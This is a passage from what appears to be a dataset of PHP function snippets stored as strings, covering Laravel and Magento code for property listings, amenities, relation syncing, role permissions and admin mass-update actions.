'bedrooms' => $property['bedrooms'],\n 'sleeps' => $property['sleeps'],\n 'price' => ((isset($property['price']['value']) && !empty($property['price']['value'])) ? $property['price']['value'] : 0),\n 'price_max' => ((isset($property['price']['max']) && !empty($property['price']['max'])) ? $property['price']['max'] : 0),\n 'price_period' => ((isset($property['price']['period']) && !empty($property['price']['period'])) ? $property['price']['period'] : ''),\n 'price_currency' => ((isset($property['price']['currency'])) ? $property['price']['currency'] : ''),\n 'residence' => self::addOrUpdateResidence($property['residence']),\n 'view' => self::addOrUpdateView($property['view'], $property['id']),\n 'landscape' => (!empty($property['view']['landscape']) ? implode(',', $property['view']['landscape']) : ''),\n 'floor' => self::addOrUpdateFloor($property['floor'], $property['id']),\n 'heating' => self::addOrUpdateHeating($property['heating'], $property['id']),\n 'water' => self::addOrUpdateWater($property['water'], $property['id']),\n 'condition' => $property['condition'],\n 'standing' => $property['standing'],\n 'style' => $property['style']['name'],\n 'construction_year' => $property['construction_year'],\n 'renovation_year' => $property['renovation_year'],\n 'available_at' => $property['available_at'],\n 'delivered_at' => $property['delivered_at'],\n 'activities' => (!empty($property['activities']) ? implode(\n ',',\n $property['activities']\n ) : ''),\n 'orientations' => (!empty($property['orientations']) ? implode(\n ',',\n $property['orientations']\n ) : ''),\n 'services' => (!empty($property['services']) ? implode(\n ',',\n $property['services']\n ) : ''),\n 'proximities' => (!is_null($property['proximities']) ? implode(\n ',',\n $property['proximities']\n ) : ''),\n 'tags' => (!empty($property['tags']) ? implode(\n ',',\n $property['tags']\n ) : ''),\n 'tags_customized' => (!empty($property['tags_customized']) ? implode(\n ',',\n $property['tags_customized']\n ) : ''),\n 'pictures' => self::addOrUpdatePictures($property['pictures']),\n 'areas' => self::addOrUpdateAreas($property['areas'], $property['id']),\n 'regulations' => self::addOrUpdateRegulations($property['regulations'], $property['id']),\n 'created_at' => $property['created_at'],\n 'updated_at' => $property['updated_at'],\n ]\n );\n self::addOrUpdateUser($property['user']);\n self::addOrUpdateComments($property['comments'], $property['id']);\n }\n }\n }\n }\n self::setSyncLastTime();\n }", "public function add_post(Request $request)\n {\n\n $propertylists = new PropertyList;\n $propertylists->user_id = 1; \n $propertylists->name =$request->property_title; \n $propertylists->category_id =$request->property_category; \n $propertylists->type_id =$request->property_type; \n $propertylists->prize =$request->property_prize; \n $propertylists->building_area =$request->building_area;\n $propertylists->building_unit_id=$request->building_unit; \n $propertylists->land_area =$request->land_area; \n $propertylists->land_unit_id=$request->land_unit; \n $propertylists->bedroom =$request->bedroom; \n $propertylists->bathroom =$request->bathroom; \n $propertylists->location =$request->location; \n $propertylists->status =1;\n $tableStatus = DB::select(\"SHOW TABLE STATUS LIKE '\".DB::getTablePrefix().\"propertys'\");\n if (empty($tableStatus)) {\n throw new \\Exception(\"Table not found\");\n }else\n {\n $nextId = $tableStatus[0]->Auto_increment; \n $propertylists->uid=(10000+$nextId);\n\n try{\n $propertylists->save();\n $id = $propertylists->id;\n if($request->input('amenities')){\n $propertylists->amineties()->attach($request->input('amenities'));\n }\n if($request->input('neighbourhood') && $request->input('km')){\n $kmvalue=array_filter($request->input('km'));\n $kmvalue=array_values($kmvalue);\n foreach (array_combine($request->input('neighbourhood') , $kmvalue) as $neighbourhood => $km){\n $propertylists->neighbourhoods()->attach($neighbourhood, ['kilometer' => $km]);\n } \n }\n if(Session::get('country_id')){\n // foreach (array_combine($request->hidlang , $request->description) as $language => $description){\n // $propertylists->countrylangs()->attach($language, ['country_id' => $request->countries,'description' => $description]);\n // }\n }\n if($request->file('images')){\n foreach ($request->file('images') as $gimage) {\n $extension = $gimage->getClientOriginalExtension();\n $imagename = time().'_' . rand(100, 999) .'.'.$extension;\n $destinationPath = public_path() . \"/images/properties/\";\n $gimage->move($destinationPath, $imagename);\n $propertylists->images4property()->attach($imagename, ['is_featured' => 0]);\n }\n }\n\n $request->session()->flash('val', 1);\n $request->session()->flash('msg', \"Property created successfully !\");\n return response()->json(['status'=>true,'url'=>URL('/property/post/'),'csrf' => csrf_token()]);\n }\n\n\n catch (Exception $ex) {\n $request->session()->flash('val', 0);\n $request->session()->flash('msg', \"Property not created successfully.\".$e->getMessage()); \n return response()->json(['status'=>false,'csrf' => csrf_token()]);\n }\n\n }\n \n \n\n }", "protected function addAmenities($remote_id, $item)\n {\n if(!empty($item['amenities']))\n {\n $amenities = array_filter(explode(',', $item['amenities']));\n foreach($amenities as $amenity)\n {\n $body = trim($amenity);\n $this->amenities[$remote_id][] = [\n 'item' => $body,\n 'created_at' => $this->date,\n 'updated_at' => $this->date\n ];\n }\n }\n }", "public function massOtherroomIdAction()\n {\n $equipmentIds = $this->getRequest()->getParam('equipment');\n if (!is_array($equipmentIds)) {\n Mage::getSingleton('adminhtml/session')->addError(\n Mage::helper('bs_logistics')->__('Please select equipments.')\n );\n } else {\n try {\n foreach ($equipmentIds as $equipmentId) {\n $equipment = Mage::getSingleton('bs_logistics/equipment')->load($equipmentId)\n ->setOtherroomId($this->getRequest()->getParam('flag_otherroom_id'))\n ->setIsMassupdate(true)\n ->save();\n }\n $this->_getSession()->addSuccess(\n $this->__('Total of %d equipments were successfully updated.', count($equipmentIds))\n );\n } catch (Mage_Core_Exception $e) {\n Mage::getSingleton('adminhtml/session')->addError($e->getMessage());\n } catch (Exception $e) {\n Mage::getSingleton('adminhtml/session')->addError(\n Mage::helper('bs_logistics')->__('There was an error updating equipments.')\n );\n Mage::logException($e);\n }\n }\n $this->_redirect('*/*/index');\n }", "private function setAdmins($ids,$log=false){\n \t$adminPermission = $this->getAdminPermission();\n \tforeach ($ids as $id)\n \t\tNewDao::getInstance()->insert('user_permissions',array('user_id'=>$id,'permission_id'=>$adminPermission),$log);\n }", "public function update(PropertyAsigmentRequest $request, $id)\n {\n $property_assigment = Property_assigment::create($request, $id);\n\n\n flash('Elemento guardado');\n return redirect('/admin/seguimiento-asesores');\n }", "public function setIdPROVEEDORES($idPROVEEDORES){\n $this->idPROVEEDORES = $idPROVEEDORES;\n }", "public function attachMatkul(){\n return Mahasiswa::find(1)->mata_kuliah()->attach([3,4,6]);\n }", "protected function populateInstanceActionIds()\n {\n populateActiveIds($this->instanceActiveIdHash, $this->instanceIdsIdentifier);\n\n // Same, for per-edah filter.\n if ($this->activeEdotFilterTable) {\n $multiColName = $this->activeEdotFilterTable;\n populateActiveIds($this->activeEdotHash, $multiColName);\n }\n }", "public function initAssignedPrayersRelatedByAgentId($overrideExisting = true)\n {\n if (null !== $this->collAssignedPrayersRelatedByAgentId && !$overrideExisting) {\n return;\n }\n $this->collAssignedPrayersRelatedByAgentId = new ObjectCollection();\n $this->collAssignedPrayersRelatedByAgentId->setModel('\\AssignedPrayer');\n }", "function setMultiple($properties) {\n foreach ($properties as $property => $value) {\n $this->set($property, $value);\n }\n }", "public function addFeatures(Request $request) {\n\n Log::info($request->all());\n\n //validate\n $validator = Validator::make($request->all(), [\n 'property_id' => \"required\",\n 'ids' => 'required'\n ], \n [\n \"property_id.required\" => \"Invalid Request, Incomplete Parameter\"\n ])->validate(); \n\n $property = Property::find($request->property_id);\n \n if(is_null($property)) {\n return redirect()->back()->with(\"error\", \"Property Not Found\");\n }\n\n $idsArray = preg_split(\"/[,]/\", $request->ids);\n array_pop($idsArray); //deletes the last'','\n Log::info(\"idsArray \");\n Log::info($idsArray);\n\n\n $superArray = [];\n\n foreach ($idsArray as $key => $value) {\n //create it when it's not there already for the property\n PropertyFeature::firstOrCreate([\n \"property_id\" => $property->id,\n \"feature_id\" => $value\n ]);\n }\n\n return redirect()->back()->with(\"success\", \"Property Features Updated Successfully\");\n }", "public function attachRoles($roles);", "public function set_id($ids) {\n $this->id = $ids; \n }", "function setMenuItem(){\n\n $totalMenuItem=count($this->html->find('b')); // total number of menu items in the webpage\n $allMenuName=$this->html->find('b'); // array of objects of all b tag for item name\n $allMenuDetails=$this->html->find('span[itemprop=\"description\"]'); // array of objects of all span of itemproperty description\n $allMenuPrice=$this->html->find('span.price'); // array of objects of all span with class price\n $phone=$this->html->find('span[itemprop=\"telephone\"]')[0]->innertext; // string\n $address=$this->html->find('span[itemprop=\"streetAddress\"]')[0]->innertext.' , '\n .$this->html->find('span[itemprop=\"addressLocality\"]')[0]->innertext; // string concated restaurant address\n\n for ($i=0; $i<$totalMenuItem; $i++){\n \n $price=$this->stringModifier->modifyString($allMenuPrice[$i]->innertext); //remove currency sign from price\n $this->saveMenuItems($totalMenuItem,$allMenuName[$i]->innertext,$allMenuDetails[$i]->innertext,\n $price,NULL,webPageUrlThree,$phone,$address); // save data in the database\n \n } // loop ends\n \n }", "public function updatePropertyIndex ()\n {\n $new_properties_table = array();\n\n foreach ( $this as $declaration ) {\n\n $name = $declaration->property;\n\n if ( isset( $new_properties_table[ $name ] ) ) {\n $new_properties_table[ $name ]++;\n }\n else {\n $new_properties_table[ $name ] = 1;\n }\n }\n $this->properties = $new_properties_table;\n }", "public function saveamenitiesinfo(Request $request){\n\t\t$data = array();\n\t\t$data['status'] = 0;\n\t\t$data['msg'] = 'Error';\n\t\t\n\t\t$input = $request->all();\n\t\t$propertyid = $input['propertyid'];\n\t\t$amenitiesinfo = $input['amenitiesinfo'];\n\t\t$featuresinfo = $input['featuresinfo'];\n\t\t/*return response()->json($roomsinfo); \n\t\texit();*/\n\t\t\n\t\t$propertydata = Property::find($propertyid);\n\t\t\n\t\tif(empty($propertydata)){\n\t\t\t$data['msg'] = 'Invalid Property';\n\t\t}\n\t\telse{\n\t\t\t$propertydata->property_amenities = json_encode($amenitiesinfo);\n\t\t\t$propertydata->property_features = json_encode($featuresinfo);\n\t\t\tif($propertydata->update()){\n\t\t\t\t$data['status'] = 1;\n\t\t\t\t$data['msg'] = 'Property Data Saved';\n\t\t\t}\n\t\t\telse{\n\t\t\t\t$data['msg'] = 'Error in save property details';\t\t\n\t\t\t}\n\t\t}\n\t\treturn response()->json($data); \n\t\texit();\n }", "public function permission_mass_assignament(array $roles){\n foreach($roles as $role){\n if(!$this->has_role($role)){\n $role_obj=Role::findOrFail($role);\n $permissions=$role_obj->permissions;\n //como queremos conservar los permisos que ya tiene el usuario NO USAMOS\n //que solamente se sincronizen los nuevos permisos\n //pasamos como parametro la coleccion de modelos\n $this->permissions()->syncWithoutDetaching($permissions);\n\n }\n }\n\n }", "public function store(PropertyAsigmentRequest $request)\n {\n $property_assignment = Property_assigment::create($request);\n\n flash('Elemento guardado');\n return redirect('/admin/seguimiento-asesores');\n }", "protected function loadManyToMany($property)\n {\n // Grab the DaoMap data for both ends of the join\n $this->__loadDaoMap();\n $cls = DaoMap::$map[strtolower(get_class($this))][$property]['class'];\n $obj = new $cls;\n $obj->__loadDaoMap();\n\n $thisClass = get_class($this);\n $qry = new DaoQuery($cls);\n $qry->eagerLoad($cls . '.' . strtolower(substr($thisClass, 0, 1)) . substr($thisClass, 1) . 's');\n\n // Load this end with an array of entities typed to the other end\n DaoMap::loadMap($cls);\n $alias = DaoMap::$map[strtolower($cls)]['_']['alias'];\n $field = strtolower(substr($thisClass, 0, 1)) . substr($thisClass, 1);\n $this->$property = Dao::findByCriteria($qry, sprintf('`%sId`=?', $field), array($this->getId()));\n return $this;\n }", "function setUpTargets(){\r\n\t\t$pupils = $this->Query(\"SELECT id FROM pupils\");\r\n\t\t$sql = '';\r\n\t\tforeach($pupils as $k=>$v){\r\n\t\t\t$sql .= 'INSERT INTO pupils_targets VALUES(NULL,1,'.$v['pupils']['id'].');';\r\n\t\t}\r\n\t\t$this->Query($sql);\r\n\t}", "public function edit($propertyid){\n\t\t//dd($propertyid);\n\t\t$title = $this->generaltitle;\n\t\t$propertydata = Property::with('Propertyroomsdata','Propertyimagedata')->find($propertyid);\n\t\t$arrStatedata = State::where('state_status','=','1')->orderBy('state_name', 'asc')->get();\n\t\tforeach($arrStatedata as $state)\n\t\t{\n\t\t\t$statedata[$state->state_id] = $state->state_name;\n\t\t}\n\t\t$finalrooms = array();\n\t\tforeach($propertydata->Propertyroomsdata as $k=>$propertyrooms){\n\t\t\t$finalrooms[$k]['studiocount'] = \"$propertyrooms->studiooption_value\";\n\t\t\t$finalrooms[$k]['studiooption'] = ($propertyrooms->studiooption_name != NULL) ? $propertyrooms->studiooption_name : \"0\";\n\t\t\t$finalrooms[$k]['bedroomcount'] = \"$propertyrooms->bedroomoption_value\";\n\t\t\t$finalrooms[$k]['bedroomoption'] = ($propertyrooms->bedroomoption_name != NULL) ? $propertyrooms->bedroomoption_name : \"0\";\n\t\t\t$finalrooms[$k]['bathcount'] = \"$propertyrooms->bathoption_value\";\n\t\t\t$finalrooms[$k]['start_price'] = $propertyrooms->price_startvalue;\n\t\t\t$finalrooms[$k]['end_price'] = $propertyrooms->price_endvalue;\n\t\t}\n\t\t$finalrooms = json_encode($finalrooms);\n\t\t$hoursdata = json_encode(unserialize($propertydata->property_officehours));\n\t\t$propertyimages = json_encode($propertydata->Propertyimagedata);\n\t\t$propertydocument = ($propertydata->property_document != '' && $propertydata->property_document != NULL) ? URL::to('/').'/images/property/'.$propertydata->property_id.'/'.$propertydata->property_document : '#';\n\t\t\n\t\t$amenitiesdata = Amenities::where('amenity_status','=','1')->get();\n\t\t$featuresdata = Features::where('feature_status','=','1')->get();\n\t\t//dd($amenitiesdata);\n\t\t//dd($propertydata);\n\t\treturn view('admin.property.editproperty')->with(compact('propertyid','title','propertydata','statedata','finalrooms','hoursdata','amenitiesdata','featuresdata','propertyimages','propertydocument'));\n }", "function associatePermissionsToRole()\n {\n $retObj = array();\n try {\n\n if (isset($_POST['role_id']))\n {\n $permission_ids = json_decode($_POST['permission_ids']);\n $params = array(\n 'role_id' => $_POST['role_id'],\n 'permission_ids' => $permission_ids\n );\n\n $objAcl = new AclManager();\n $retObj['completed'] = false;\n $response = $objAcl->associatePermissionsToRole($params);\n $retObj['completed'] = true;\n\n } else {\n\n throw new \\Exception('Unsupported Request: missing critical parameter(s).');\n\n }\n\n\n } catch (\\Exception $e) {\n\n Api::invalidResponse(\n $e->getMessage(),\n 400,\n Constants::STATUS_INVALID,\n $e,\n true,\n true\n );\n\n }\n\n return Api::apiResponse($retObj, Constants::STATUS_SUCCESSFUL);\n }", "public function massClassroomIdAction()\n {\n $equipmentIds = $this->getRequest()->getParam('equipment');\n if (!is_array($equipmentIds)) {\n Mage::getSingleton('adminhtml/session')->addError(\n Mage::helper('bs_logistics')->__('Please select equipments.')\n );\n } else {\n try {\n foreach ($equipmentIds as $equipmentId) {\n $equipment = Mage::getSingleton('bs_logistics/equipment')->load($equipmentId)\n ->setClassroomId($this->getRequest()->getParam('flag_classroom_id'))\n ->setIsMassupdate(true)\n ->save();\n }\n $this->_getSession()->addSuccess(\n $this->__('Total of %d equipments were successfully updated.', count($equipmentIds))\n );\n } catch (Mage_Core_Exception $e) {\n Mage::getSingleton('adminhtml/session')->addError($e->getMessage());\n } catch (Exception $e) {\n Mage::getSingleton('adminhtml/session')->addError(\n Mage::helper('bs_logistics')->__('There was an error updating equipments.')\n );\n Mage::logException($e);\n }\n }\n $this->_redirect('*/*/index');\n }", "public function update(Request $request, $id)\n {\n $agent = Agent::find($id)->update($request->all());\n\n AgentSpeciality::where('agent_id',$id)->delete();\n AgentArea::where('agent_id',$id)->delete();\n\n if(isset($request->speciality)){\n foreach ($request->speciality as $speciality) {\n AgentSpeciality::create([\n 'agent_id' => $id,\n 'speciality_id' => $speciality\n ]);\n }\n }\n if(isset($request->areas)){\n\n foreach ($request->areas as $area) {\n AgentArea::create([\n 'agent_id' => $id,\n 'area_one_id' => $area\n ]);\n }\n }\n $agents = Agent::find($id);\n if (auth()->user()->role->name != 'Administrator') {\n if ($agents->agency_id == auth()->user()->agency->id) {\n $agents->update($request->all());\n }\n } else {\n $agents->update($request->all());\n }\n\n return redirect()->route('agents.index');\n }", "public function getArticulationListAttribute()\n {\n return $this->allarticulations->pluck('id')->all();\n }", "public function setEvenements($evenements)\n {\n // This is the owning side, we have to call remove and add to have change in the category side too.\n foreach ($this->getEvenements() as $evenement) {\n $this->removeEvenement($evenement);\n }\n foreach ($evenements as $evenement) {\n $this->addEvenement($evenement);\n }\n }", "function set_properties_by_id () {\n\t\t$stm = DB::$pdo->prepare(\"select * from `generated_object` where `id`=:id\");\n\t\t$stm->bindParam(':id', $this->id);\n\t\t$stm->execute();\n\t\t$res = $stm->fetch();\n\n\t\t$this->set_properties_by_array($res);\n\t}", "public function permissions(){ return new manytomany_link($this, 'permission', 'rolepermissions');\n }", "protected function lstUsersAsAssessmentManager_Update() {\n\t\t\tif ($this->lstUsersAsAssessmentManager) {\n\t\t\t\t$this->objGroupAssessmentList->UnassociateAllUsersAsAssessmentManager();\n\t\t\t\t$objSelectedListItems = $this->lstUsersAsAssessmentManager->SelectedItems;\n\t\t\t\tif ($objSelectedListItems) foreach ($objSelectedListItems as $objListItem) {\n\t\t\t\t\t$this->objGroupAssessmentList->AssociateUserAsAssessmentManager(User::Load($objListItem->Value));\n\t\t\t\t}\n\t\t\t}\n\t\t}", "public function ids() {\n\t\t$q = $this->query();\n\t\t$q->select(Salesperson::aliasproperty('id'));\n\t\treturn $q->find()->toArray();\n\t}", "protected function saveRelations()\n {\n $spotIdsToRemove = $relationsToAdd = [\n 'photos' => [],\n 'tags' => [],\n 'amenities' => [],\n 'locations' => []\n ];\n // Preparing spots remote photos for insert\n if($this->photos != [])\n {\n foreach($this->photos as $remote_id => $items)\n {\n foreach($items as $item)\n {\n if(isset($this->insertedIds[$remote_id]))\n {\n $item['associated_id'] = $this->insertedIds[$remote_id];\n }\n if(isset($this->existingIds[$remote_id]))\n {\n $item['associated_id'] = $this->existingIds[$remote_id];\n $spotIdsToRemove['photos'][] = $this->existingIds[$remote_id];\n }\n if(isset($item['associated_id']))\n {\n $relationsToAdd['photos'][] = $item;\n }\n }\n }\n }\n // Preparing spots amenities for insert\n if($this->amenities != [])\n {\n foreach($this->amenities as $remote_id => $items)\n {\n foreach($items as $item)\n {\n if(isset($this->insertedIds[$remote_id]))\n {\n $item['spot_id'] = $this->insertedIds[$remote_id];\n }\n if(isset($this->existingIds[$remote_id]))\n {\n $item['spot_id'] = $this->existingIds[$remote_id];\n $spotIdsToRemove['amenities'][] = $this->existingIds[$remote_id];\n }\n if(isset($item['spot_id']))\n {\n $relationsToAdd['amenities'][] = $item;\n }\n }\n }\n }\n // Preparing spots tags for insert\n if($this->tags != [])\n {\n foreach($this->tags as $remote_id => $items)\n {\n foreach($items as $item)\n {\n if(isset($this->insertedIds[$remote_id]))\n {\n $item['spot_id'] = $this->insertedIds[$remote_id];\n }\n if(isset($this->existingIds[$remote_id]))\n {\n $item['spot_id'] = $this->existingIds[$remote_id];\n $spotIdsToRemove['tags'][] = $this->existingIds[$remote_id];\n }\n if(isset($item['spot_id']))\n {\n $relationsToAdd['tags'][] = $item;\n }\n }\n }\n }\n // Preparing spots points for insert\n if($this->locations != [])\n {\n foreach($this->locations as $remote_id => $item)\n {\n if(isset($this->insertedIds[$remote_id]))\n {\n $item['spot_id'] = $this->insertedIds[$remote_id];\n }\n if(isset($this->existingIds[$remote_id]))\n {\n $item['spot_id'] = $this->existingIds[$remote_id];\n $spotIdsToRemove['locations'][] = $this->existingIds[$remote_id];\n }\n if(isset($item['spot_id']))\n {\n $relationsToAdd['locations'][] = $item;\n }\n }\n }\n // Database transaction to remove all old relations of existing spots and add new relations for inserted and updated spots\n DB::transaction(function() use ($spotIdsToRemove, $relationsToAdd) {\n if($spotIdsToRemove['photos'] != [])\n {\n DB::table('remote_photos')->whereIn('associated_id', $spotIdsToRemove['photos'])->where('associated_type', Spot::class)->delete();\n }\n if($spotIdsToRemove['amenities'] != [])\n {\n DB::table('spot_amenities')->whereIn('spot_id', $spotIdsToRemove['amenities'])->delete();\n }\n if($spotIdsToRemove['tags'] != [])\n {\n DB::table('spot_tag')->whereIn('spot_id', $spotIdsToRemove['tags'])->delete();\n }\n if($spotIdsToRemove['locations'] != [])\n {\n DB::table('spot_points')->whereIn('spot_id', $spotIdsToRemove['locations'])->delete();\n }\n if($relationsToAdd['photos'] != [])\n {\n DB::table('remote_photos')->insert($relationsToAdd['photos']);\n }\n if($relationsToAdd['amenities'] != [])\n {\n DB::table('spot_amenities')->insert($relationsToAdd['amenities']);\n }\n if($relationsToAdd['tags'] != [])\n {\n DB::table('spot_tag')->insert($relationsToAdd['tags']);\n }\n if($relationsToAdd['locations'] != [])\n {\n DB::table('spot_points')->insert($relationsToAdd['locations']);\n }\n });\n }", "protected static function addOrUpdateAreas($areas, $property_id)\n {\n $areas_ids = null;\n if (is_array($areas) && !empty($areas)) {\n DB::table(\"apimo_areas\")->where('property_id', '=', $property_id)->delete();\n foreach ($areas as $area) {\n DB::insert(\n 'REPLACE INTO apimo_areas SET property_id = ?, type = ?, number=?, area=?, flooring=?, floor_type=?, floor_value=?,orientations=?,comments=?',\n [\n $property_id,\n $area['type'],\n $area['number'],\n $area['area'],\n $area['flooring'],\n $area['floor']['type'],\n $area['floor']['value'],\n json_encode($area['orientations']),\n json_encode($area['comments']),\n ]\n );\n $areas_ids[] = DB::connection()->getPdo()->lastInsertId();\n }\n\n }\n\n $areas_ids = (!is_null($areas_ids) ? implode(',', $areas_ids) : '');\n\n return $areas_ids;\n }", "public function addMentorsToProgram($id, $mentors) \n {\n foreach($mentors as $mentor) {\n DB::table('mentor_program')->insert([\n 'program_id' => $id,\n 'mentor_id' => $mentor,\n 'is_active' => 1,\n 'created_at' => \\Carbon\\Carbon::now(),\n 'updated_at' => \\Carbon\\Carbon::now(),\n ]);\n }\n }", "function action_unique_attribute_list() {\n $this->layout = null;\n\n $this->model = DB::model('Model')->fetch($_REQUEST['model_id']);\n if ($this->model->value['id']) {\n $this->model->bindMany('Attribute');\n }\n }", "public function initShoutsRelatedByRecipientId()\n\t{\n\t\t$this->collShoutsRelatedByRecipientId = array();\n\t}", "protected function set_category_ids() {\n\n\t\t$this->category_ids = isset( $_GET['category_ids'] ) ? array_filter( array_map( 'absint', (array) $_GET['category_ids'] ) ) : array();\n\t}", "public function assigned(){\n return new manytomany_link($this, 'patient', 'staffpatient');\n\t}", "public function getCapeAgulhasSimilarPropertyForSale(){\n\t\t\ttry{\n\t\t\t\t$query = \"SELECT properties.property_id, property_status, property_type, property_desc, price, num_bathrooms, \n\t\t\t\t\t\t street_no, street_name, num_beds, num_garages, property_image_id, image_location, suburbs.suburb_id, \n\t\t\t\t\t\t suburb_name, cities.city_id, city_name, municipalities.municipality_id, municipalities.municipality_name,\n\t\t\t\t\t\t agents.agent_id, firstname, lastname, email, phone, agencies.agency_id, agency_name, logo \n\t\t\t\t\t\t FROM property_images \n\t\t\t\t\t\t LEFT JOIN properties\n\t\t\t\t\t\t ON property_images.property_id = properties.property_id\n\t\t\t\t\t\t LEFT JOIN suburbs\n\t\t\t\t\t\t ON properties.suburb_id = suburbs.suburb_id\n\t\t\t\t\t\t LEFT JOIN cities\n\t\t\t\t\t\t ON suburbs.city_id = cities.city_id\n\t\t\t\t\t\t LEFT JOIN municipalities\n\t\t\t\t\t\t ON cities.municipality_id = municipalities.municipality_id\n\t\t\t\t\t\t LEFT JOIN agents\n\t\t\t\t\t\t ON properties.agent_id = agents.agent_id\n\t\t\t\t\t\t LEFT JOIN agencies\n\t\t\t\t\t\t ON agents.agency_id = agencies.agency_id\n\t\t\t\t\t\t WHERE municipalities.municipality_id = 112\n\t\t\t\t\t\t AND properties.property_status = 'For Sale'\n\t\t\t\t\t\t GROUP BY properties.property_id\n\t\t\t\t\t\t DESC\n\t\t\t\t\t\t LIMIT 3\n\t\t\t\t\t\t \";\n\t\t\t\t$result = $this->conn->query($query);\n\n\t\t\t $properties = array();\n\t\t\t\t\n\t\t\t\tforeach($result as $row){\n\t\t\t\t\t$agency = new Agency();\n\t\t\t\t\t$agency->setAgencyID($row['agency_id']);\n\t\t\t\t\t$agency->setAgencyName($row['agency_name']);\n\t\t\t\t\t$agency->setLogo($row['logo']);\n\t\t\t\t\t\n\t\t\t\t\t$agent = new Agent();\n\t\t\t\t\t$agent->setAgentID($row['agent_id']);\n\t\t\t\t\t$agent->setFirstname($row['firstname']);\n\t\t\t\t\t$agent->setLastname($row['lastname']);\n\t\t\t\t\t$agent->setEmail($row['email']);\n\t\t\t\t\t$agent->setPhone($row['phone']);\n\t\t\t\t\t$agent->setAgency($agency);\n\t\t\t\t\t\n\t\t\t\t\t$munucipality = new Municipality();\n\t\t\t\t\t$munucipality->setMunicipalityID($row['municipality_id']);\n\t\t\t\t\t$munucipality->setMunicipalityName($row['municipality_name']);\n\t\t\t\t\t\n\t\t\t\t\t$city = new City();\n\t\t\t\t\t$city->setCityID($row['city_id']);\n\t\t\t\t\t$city->setCityName($row['city_name']);\n\t\t\t\t\t$city->setMunicipality($munucipality);\n\t\t\t\t\t\n\t\t\t\t\t$suburb = new Suburb();\n\t\t\t\t\t$suburb->setSuburbID($row['suburb_id']);\n\t\t\t\t\t$suburb->setSuburbName($row['suburb_name']);\n\t\t\t\t\t$suburb->setCity($city);\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t$property = new Property();\t\t\n\t\t\t\t\t$property->setPropertyID($row['property_id']);\t\t\t\n\t\t\t\t\t$property->setSuburb($suburb);\t\n\t\t\t\t\t$property->setAgent($agent);\n\t\t\t\t\t$property->setNumBathRoom($row['num_bathrooms']);\n\t\t\t\t\t$property->setNumBed($row['num_beds']);\n\t\t\t\t\t$property->setNumGarage($row['num_garages']);\t\n\t\t\t\t\t$property->setStreetNo($row['street_no']);\t\n\t\t\t\t\t$property->setStreetName($row['street_name']);\t\n\t\t\t\t\t$property->setPropertyDescription($row['property_desc']);\t\n\t\t\t\t\t$property->setPropertyType($row['property_type']);\t\t\n\t\t\t\t\t$property->setPrice($row['price']);\t\n\t\t\t\t\t$property->setImageLocation($row['image_location']);\n\t\t\t\t\t$property->setSuburbID($row['suburb_id']);\n\t\t\t\t\t$property->setMunicipalityID($row['municipality_id']);\n\t\t\t\t\t$property->setMunicipalityName($row['municipality_name']);\n\t\t\t\t\t$property->setCityID($row['city_id']);\n\t\t\t\t\t$properties[] = $property;\n\t\t\t\t}\n\t\t\t\t\n\t\t\t\treturn $properties;\n\t\t\t\t\n\t\t\t}catch(PDOException $e){\n\t\t\t\techo $e->getMessage();\n\t\t\t}\n\t\t}", "protected function addPageIdsToTable()\n {\n $pageIdsNames = [\n 'detailPid',\n 'listPid',\n 'yearPid',\n 'monthPid',\n 'weekPid',\n 'dayPid',\n 'bookingPid',\n ];\n foreach ($pageIdsNames as $pageIdName) {\n $pageId = (int)$this->flexFormService->get('settings.' . $pageIdName, 'pages');\n $pageRow = BackendUtility::getRecord('pages', $pageId);\n if ($pageRow) {\n $this->layoutService->addRow(\n TranslateUtility::get($pageIdName),\n $pageRow['title'] . ' (' . $pageId . ')'\n );\n }\n }\n }", "function assignSectionIdSetLecture()\n {\n /* Query a list of sections for the current lecture. */\n $parents = $this->dbQuerySectionIdSetLecture();\n /* Remember it ... */\n $this->assign('section_parents', $parents);\n }", "public function clearAssignedPrayersRelatedByAgentId()\n {\n $this->collAssignedPrayersRelatedByAgentId = null; // important to set this to NULL since that means it is uninitialized\n }", "public function incrIdExpert($increment) {\n $this->setIdExpert($this->getIdExpert() + $increment);\n }", "public function setRelations() {}", "public function abilities(): HasMany\n {\n return $this->hasMany(PsAbility::class, 'champion_id', 'id');\n }", "public function attachPermissionToId($PermissionsId)\n {\n foreach ($PermissionsId as $pid) {\n $this->attachPermission($pid);\n }\n }", "private function update_equipment_associations($equipment_list,$ticket_id){\n $existing_equipment = array();\n \n $equipment_identifier_splitter = '/^([^_]+)_(\\d+)$/';\n \n $DB_data = $this->load->database('default',TRUE);\n \n $query = $DB_data->select('equipment_identifier')->get_where('ticket_equipment_associations', array('ticket_id' => $ticket_id));\n \n if($query && $query->num_rows() > 0){\n foreach($query->result() as $row){\n preg_match($equipment_identifier_splitter,$row->equipment_identifier,$matches);\n $equip_id = intval($matches[2]);\n $extracted_equip_type = $matches[1];\n $existing_equipment[$extracted_equip_type] = $row->equipment_identifier;\n }\n }\n \n $null_equipment = array();\n $equipment_insert = array();\n \n foreach($equipment_list as $type => $item){\n $null_equipment[$type] = \"{$type}_0000\";\n }\n \n $non_changing_equipment = array_intersect($existing_equipment,$equipment_list);\n \n $old_equip_to_update = array_diff($equipment_list,$non_changing_equipment);\n \n $delete_list = array_diff($existing_equipment,$equipment_list);\n \n $insert_list = array_diff($old_equip_to_update, $null_equipment);\n \n \n foreach($delete_list as $equip_type => $equip_id){\n $DB_data->where(array('ticket_id' => $ticket_id, 'equipment_identifier' => $equip_id))->from('ticket_equipment_associations')->delete();\n }\n \n foreach($insert_list as $equip_type => $equip_id){\n $equipment_insert[$equip_id] = array(\n 'equipment_identifier' => $equip_id,\n 'ticket_id' => $ticket_id,\n 'created_at' => null,\n 'updated_at' => null,\n 'creator_id' => $this->user_id,\n 'updater_id' => $this->user_id\n );\n }\n if(sizeof($equipment_insert) > 0){\n $DB_data->insert_batch('ticket_equipment_associations',$equipment_insert);\n if($DB_data->affected_rows() > 0){\n $equipment_updated = true;\n trigger_solr_update();\n }\n }\n \n \n \n \n // echo \"\\nexisting\\n\";\n // var_dump($existing_equipment);\n// \n // echo \"\\nnew\\n\";\n // var_dump($equipment_list);\n// \n // echo \"\\nto delete\\n\";\n // var_dump($delete_list);\n// \n // echo \"\\nto insert\\n\";\n // var_dump($insert_list);\n \n\n }", "public function massWorkshopIdAction()\n {\n $equipmentIds = $this->getRequest()->getParam('equipment');\n if (!is_array($equipmentIds)) {\n Mage::getSingleton('adminhtml/session')->addError(\n Mage::helper('bs_logistics')->__('Please select equipments.')\n );\n } else {\n try {\n foreach ($equipmentIds as $equipmentId) {\n 